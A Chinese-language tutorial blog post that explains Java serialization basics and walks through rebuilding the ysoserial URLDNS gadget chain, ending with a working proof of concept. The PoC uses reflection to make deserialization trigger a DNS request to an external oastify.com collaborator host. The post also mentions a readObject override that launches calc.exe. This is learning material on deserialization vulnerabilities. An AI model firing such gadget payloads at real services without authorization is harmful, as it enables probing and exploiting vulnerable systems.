写这篇文章,是想在 Java 反序列化基础的地方再多过几遍,毕竟万丈高楼平地起。
我是非常不建议新手们一上来就开始分析 CC 链,就开始看 shiro 的 POC 的,我觉得还是得先打好基础。
人人都会走弯路,但是要尽量少走弯路,这也是我写这篇文章由衷的目的,希望师傅们学习过程中可以少走弯路。
先学好基础,为后续的 Java 安全学习做好铺垫。
这里强推大家先去了解一下 Java 的反射是什么,力推 "Java 安全漫谈系列",师傅们可以加入 "Java 代码审计" 的知识星球。
之前也刷了 Port,对于序列化和反序列化还是清楚的,这里不厌其烦,再写一遍,也让自己再过一遍。
序列化:对象 -> 字符串
反序列化:字符串 -> 对象
一开始学的时候还是不知道的。
序列化与反序列化的设计就是用来传输数据的。
当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。
(1) 能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。
(2) 利用序列化实现远程通信,在网络上传送对象的字节序列。
(1) 想把内存中的对象保存到一个文件中或者是数据库当中。
(2) 用套接字在网络上传输对象。
(3) 通过 RMI 传输对象的时候。
XML&SOAP
JSON
Protobuf
当今 Java 原生当中的序列化与反序列化其实用的比较少吧,但是我们最开始讲起的话还是从原生开始讲起。
先创建几个文件,这里要避免踩个坑
还有一种情况是你以数字命名文件夹了,比如 "001" 这种,是不行的
类文件:Person.java
package src; // 修改成自己的 Package 路径
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(){
}
// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
序列化文件 SerializationTest.java
package src;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}
}
反序列化文件 UnserializeTest.java
package src;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}
这里我们可以先跑一跑代码,看一看。
Run SerializationTest.java
Run UnserializationTest.java
前文我们说,序列化与反序列化的根本目的是数据的传输。
SerializationTest.java
这里我们将代码进行了封装,将序列化功能封装进了 serialize这个方法里面,在序列化当中,我们通过这个FileOutputStream
输出流对象,将序列化的对象输出到ser.bin
当中。再调用 oos 的writeObject
方法,将对象进行序列化操作。
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
UnserializeTest.java
进行反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
只有实现 了Serializable或者 Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)
Serializable 接口是 Java 提供的序列化接口,它是一个空接口,所以其实我们不需要实现什么。
public interface Serializable {
}
Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。如果我们此处将 Serializable 接口删除掉的话,会导致如下结果。
序列化是针对对象属性的,而静态成员变量是属于类的。
这里我们可以动手实操一下,将 Person.java中的name
加上transient
的类型标识。加完之后再跑我们的序列化与反序列化的两个程序,修改过程与运行结果如图所示。
上述说的还是关于序列化本身的一些特性,接下来我们讲一讲序列化的安全问题是如何产生的。
序列化与反序列化当中有两个 "特别特别特别特别特别"重要的方法 ————writeObject
和readObject
。
这两个方法可以经过开发者重写,一般序列化的重写都是由于下面这种场景诞生的。
举个例子,MyList 这个类定义了一个 arr 数组属性,初始化的数组长度为 100。在实际序列化时如果让 arr 属性参与序列化的话,那么长度为 100 的数组都会被序列化下来,但是我在数组中可能只存放 30 个数组而已,这明显是不可理的,所以这里就要自定义序列化过程啦,具体的做法是重写以下两个 private 方法:
private void writeObject(java.io.ObjectOutputStream s)throws java.io.IOException
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException
只要服务端反序列化数据,客户端传递类的readObject
中代码会自动执行,基于攻击者在服务器上运行代码的能力。
所以从根本上来说,Java 反序列化的漏洞的与
readObject
有关。
readObject
直接调用危险方法这种情况呢,在实际开发场景中并不是特别常见,我们还是跟着代码来走一遍,写一段弹计算器的代码,文件 ———— "Person.Java"
先运行序列化程序 ———— "SerializationTest.java",再运行反序列化程序 ———— "UnserializeTest.java"
这时候就会弹出计算器,也就是calc.exe
,是不是帅的飞起哈哈。
这是黑客最理想的情况,但是这种情况几乎不会出现。
readObject
时调用readObject
时调用首先的攻击前提:继承 Serializable
入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个类作为参数;最好 jdk 自带)
找到入口类之后要找调用链 gadget chain 相同名称、相同类型
执行类 sink (RCE SSRF 写文件等等)比如exec
这种函数
这里看不懂先不要紧,后续看到 URLDNS 利用链的复现就会悟了哈哈,我当时这里也看不懂,后面悟了。
我这里逐个给大家过一遍,以HashMap
为例进行说明。
首先,攻击前提,那必然是要继承了Serializable
这个接口,要不然谈何序列化与反序列化对吧。
HashMap 确实继承了Serializable
这个接口。
入口类这里比较难懂,还是以HashMap
为例吧,这些步骤是要自己动手实操一下的,不然体验感很差。
打开 "Structure",找到重写的readObject
,往下分析。
我们看到第 1416 行与 1418 行中,Key 与 Value 的值执行了readObject
的操作,再将 Key 和 Value 两个变量扔进hash
这个方法里,我们再跟进(ctrl+鼠标左键即可) hash 当中。
若传入的参数 key 不为空,则h = key.hashCode()
,于是乎,继续跟进hashCode
当中。
hashCode 位置处于 Object 类当中,满足我们 调用常见的函数这一条件。
出发点:URLDNS 在 Java 复杂的反序列化漏洞当中足够简单;URLDNS 就是 ysoserial 中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。
因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次 DNS 请求。
虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时使⽤。
使⽤ Java 内置的类构造,对第三⽅库没有依赖。
在⽬标没有回显的时候,能够通过 DNS 请求得知是否存在反序列化漏洞 URL 类,调用openConnection
方法,到此处的时候,其实openConnection
不是常见函数,就已经难以利用了。
我们先去到 ysoserial 的项目当中,去看看它是如何构造 URLDNS 链的。
ysoserial/URLDNS.java at master · frohoff/ysoserial (github.com)
ysoserial 对 URLDNS 的利用链看着无比简单,就这么几行代码。
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
再来开始自己复现一遍 URLDNS 的利用链。
URL 是由 HashMap 的put
方法产生的,所以我们先跟进put
方法当中。put
方法之后又是调用了hash
方法;hash
方法则是调用了hashcode
这一函数。
还记得前文最看不懂的地方吗?我当时说这一块不懂不要紧,看到 URLDNS 的复现就懂了。
我们看到这个hashCode
函数的变量名是 key;那这个 key 是啥啊?
噢 ~ 原来 key 是hash
这一方法传进的参数!那我们前面写的 key 不就是这个东东吗 ~!
hashmap.put(new URL("DNS生成的 URL,用dnslog就可以"),1);
// 传进去两个参数,key = 前面那串网址,value = 1
所以这里,我们跟进 URL,去看看 URL 跟进一堆之后的hashCode
方法是如何实现的。
跟进 URL,我们肯定是要去寻找 URL 调用的函数的函数(的函数,应该还有好几个的函数,就不写出来了,不然大家就晕了)的hashCode
方法。
在左边 Structure 直接寻找hashCode
方法,URL 中的hashCode
被handler
这一对象所调用,handler
又是URLStreamHandler
的抽象类。我们再去找URLStreamHandler
的hashCode
方法。
终于找到了,这个用于 URLDNS 的方法 ————getHostAddress
再跟进getHostAddress
这⾥InetAddress.getByName(host)
的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。到这⾥就不必要再跟了。
所以,⾄此,整个 URLDNS 的Gadget其实清晰⼜简单:
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
我们的复现步骤:
SerializationTest.java文件下添加如下代码
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
hashmap.put(new URL("DNS生成的 URL,用dnslog就可以"),1);
serialize(hashmap);
我们先把它序列化,按照道理来说,这个过程应该什么都不会发生对吧。
很奇怪,为什么却能收到 URLDNS 的请求????
那我们的视线很容易就被干扰了呀,无法判断到底是因为反序列化的 URLDNS ,还是因为序列化的过程中的 URLDNS。
还是从原理角度分析,我们回到 URL 这个对象,回到hashCode
这里。
我们发现,当hashCode
的值不等于 -1 的时候,函数就会直接return hashCode
而不执行hashCode = handler.hashCode(this);
。而一开始定义 HashMap 类的时候hashCode
的值为 -1,便是发起了请求。
所以我们在没有反序列化的情况下面,就收到了 DNS 请求,这是不正确的。
那要如何才能把 “半路杀出的程咬金” 给办了呢?我们大致有这样一个思路。
有关反射的知识又是一个很庞大的体系了,我们下篇文章再讲 ~
这里我先把 Poc 挂出来。
根据我们的思路,将 Main 函数进行修改,我这里直接全部挂出来了,不然师傅们容易看错。
SerializationTest.java
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://bl00nzimnnujskz418kboqxt9kfb30.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
}
反序列化的文件无需更改
接着我们运行序列化文件,是收不到 DNS 请求的,而当我们运行反序列化的文件时候,可以收到请求,这就代表着我们的 URLDNS 链构造成功了。
其实看了很多的反序列化教程,自己写这篇文章也是为了大家能够少走弯路吧,我们分析下来,一个最简单的 URLDNS 对于刚入门的师傅们来说也是比较难以理解与分析的,我本人也是学了好几天才啃下来的。
相对于一开始就接触 CC 链,或者是其他 Tomcat,shiro 漏洞复现的就更甚了,不懂原理只当一个脚本小子对个人的提升意义并不是很大。
后续的一些展望
师傅们若是对 Java 安全感兴趣的话可以关注我 ~后续还会继续更新相关自己的学习笔记的。